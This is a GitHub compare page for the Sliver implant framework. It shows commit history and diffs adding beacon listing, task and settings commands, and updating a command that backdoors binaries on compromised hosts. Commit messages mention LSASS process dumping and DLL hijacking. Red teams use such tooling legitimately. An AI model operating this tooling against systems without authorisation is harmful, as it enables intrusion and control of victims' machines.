Compare commits

...
118 Commits
Author SHA1 Message Date
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
412 changed files with 19685 additions and 9042 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+8 -7
View File
@@ -1,10 +1,11 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
/.idea
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +31,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.6
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+6 -2
View File
@@ -26,6 +26,7 @@ import (
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
@@ -101,6 +102,9 @@ func Setup(force bool, echo bool) {
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
@@ -109,7 +113,7 @@ func setupCoffLoaderExt(appDir string) error {
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manfiestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
@@ -118,7 +122,7 @@ func setupCoffLoaderExt(appDir string) error {
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manfiestPath)
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
+73
View File
@@ -0,0 +1,73 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+2 -3
View File
@@ -80,10 +80,9 @@ var rootCmd = &cobra.Command{
// StartClientConsole - Start the client console
func StartClientConsole() error {
assets.Setup(false, true)
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
@@ -94,7 +93,7 @@ func StartClientConsole() error {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %v", err)
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+103
View File
@@ -0,0 +1,103 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
})
}
con.Printf("%s\n", tw.Render())
}
+99
View File
@@ -0,0 +1,99 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+280 -28
View File
@@ -38,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -55,14 +56,18 @@ import (
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
@@ -290,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Operators ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PlayersStr,
Name: consts.OperatorsStr,
Help: "Manage operators",
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -381,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("session", "session ID or name", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a session",
@@ -418,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
Name: consts.TasksStr,
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
useCmd := &grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session or beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon or session ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
useCmd.AddCommand(&grumble.Command{
Name: consts.BeaconsStr,
Help: "Switch the active beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(useCmd)
// [ Settings ] --------------------------------------------------------------
settingsCmd := &grumble.Command{
Name: consts.SettingsStr,
Help: "Manage client settings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
settingsCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save the current settings to disk",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: consts.TablesStr,
Help: "Modify tables setting (style)",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsTablesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "beacon-autoresults",
Help: "Automatically display beacon task results when completed",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsBeaconsAutoResultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "autoadult",
Help: "Automatically accept OPSEC warnings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAutoAdultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
